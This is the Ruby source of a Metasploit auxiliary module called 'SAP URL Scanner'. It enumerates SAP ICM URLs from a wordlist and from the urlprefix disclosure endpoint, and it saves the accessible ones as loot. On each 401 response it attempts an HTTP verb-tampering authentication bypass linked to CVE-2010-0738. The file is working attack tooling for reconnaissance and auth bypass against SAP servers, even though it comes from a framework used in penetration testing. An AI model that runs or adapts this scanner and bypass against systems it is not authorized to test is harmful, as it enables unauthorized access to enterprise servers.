##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP URL Scanner',
        'Description' => %q{
          This module scans for commonly found SAP Internet Communication Manager URLs
          and outputs return codes for the user.
        },
        'Author' => [ 'Chris John Riley' ],
        'References' => [
          [ 'CVE', '2010-0738' ] # VERB auth bypass
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('VERB', [true, 'Verb for auth bypass testing', 'HEAD']),
        OptPath.new('URLFILE', [
          true, 'SAP ICM Paths File',
          File.join(Msf::Config.data_directory, 'wordlists', 'sap_icm_paths.txt')
        ])
      ]
    )
  end

  # Base Structure of module borrowed from jboss_vulnscan
  def run_host(_ip)
    res = send_request_cgi(
      {
        'uri' => '/' + Rex::Text.rand_text_alpha(12),
        'method' => 'GET'
      }
    )

    if res
      print_status('Note: Please note these URLs may or may not be of interest based on server configuration')
      @info = []
      if res.headers['Server']
        @info << res.headers['Server']
        print_status("#{Rex::Socket.to_authority(rhost, rport)} Server responded with the following Server Header: #{@info[0]}")
      else
        print_status("#{Rex::Socket.to_authority(rhost, rport)} Server responded with a blank or missing Server Header")
      end

      if res.body && /class="note">(.*)code:(.*)</i.match(res.body)
        print_error("#{Rex::Socket.to_authority(rhost, rport)} SAP ICM error message: #{::Regexp.last_match(2)}")
      end

      # Load URLs
      urls_to_check = check_urlprefixes
      File.open(datastore['URLFILE']) do |f|
        f.each_line do |line|
          urls_to_check.push line
        end
      end

      print_status("#{Rex::Socket.to_authority(rhost, rport)} Beginning URL check")
      @valid_urls = ''
      urls_to_check.each do |url|
        check_url(url.strip)
      end
    else
      print_error("#{Rex::Socket.to_authority(rhost, rport)} No response received")
    end

    if !@valid_urls.empty?
      l = store_loot(
        'sap.icm.urls',
        'text/plain',
        datastore['RHOST'],
        @valid_urls,
        'icm_urls.txt', 'SAP ICM Urls'
      )
      print_line
      print_good("Stored urls as loot: #{l}") if l
    end
  end

  def check_url(url)
    full_url = write_url(url)
    res = send_request_cgi({
      'uri' => normalize_uri(url),
      'method' => 'GET'
    })

    if res
      if res.headers['Server'] && !@info.include?(res.headers['Server'])
        print_good("New server header seen [#{res.headers['Server']}]")
        @info << res.headers['Server'] # Add To seen server headers
      end

      case res.code
      when 200
        print_good("#{full_url} - does not require authentication (#{res.code}) (length: #{res.headers['Content-Length']})")
        @valid_urls << full_url << "\n"
      when 403
        print_status("#{full_url} - restricted (#{res.code})")
      when 401
        print_status("#{full_url} - requires authentication (#{res.code}): #{res.headers['WWW-Authenticate']}")
        @valid_urls << full_url << "\n"
        # Attempt verb tampering bypass
        bypass_auth(url)
      when 404
        # Do not return by default, only display in verbose mode
        vprint_status("#{full_url} - not found (#{res.code})")
      when 400, 500
        print_status("#{full_url} - produced a server error (#{res.code})")
      when 301, 302
        print_good("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)")
        @valid_urls << full_url << "\n"
      when 307
        print_status("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)")
      else
        print_error("#{full_url} - unhandled response code #{res.code}")
        @valid_urls << full_url << "\n"
      end

    else
      vprint_status("#{full_url} - not found (No Response code Received)")
    end
  end

  def write_url(path)
    if datastore['SSL']
      protocol = 'https://'
    else
      protocol = 'http://'
    end

    "#{protocol}#{rhost}:#{rport}#{path}"
  end

  def bypass_auth(url)
    full_url = write_url(url)
    vprint_status("#{full_url} Check for verb tampering (#{datastore['VERB']})")

    res = send_request_raw({
      'uri' => normalize_uri(url),
      'method' => datastore['VERB'],
      'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
    })

    if res&.code == 200
      print_good("#{full_url} Got authentication bypass via HTTP verb tampering")
    else
      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Could not get authentication bypass via HTTP verb tampering")
    end
  end

  # "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS.
  # This is how the message server finds out which URLs must be forwarded where.
  #  (SAP help) -> this disclose custom URLs that are also checked for authentication
  def check_urlprefixes
    urls = []
    res = send_request_cgi({
      'uri' => '/sap/public/icf_info/urlprefix',
      'method' => 'GET'
    })

    if res&.code == 200
      res.body.each_line do |line|
        next unless line =~ /PREFIX=/

        url_enc = line.sub(/^PREFIX=/, '')
        # Remove CASE and VHOST
        url_enc = url_enc.sub(/&CASE=.*/, '')
        url_dec = CGI.unescape(url_enc).sub(/;/, '')
        urls << url_dec.strip
      end
    else
      print_error("#{Rex::Socket.to_authority(rhost, rport)} Could not retrieve urlprefixes")
    end

    urls
  end
end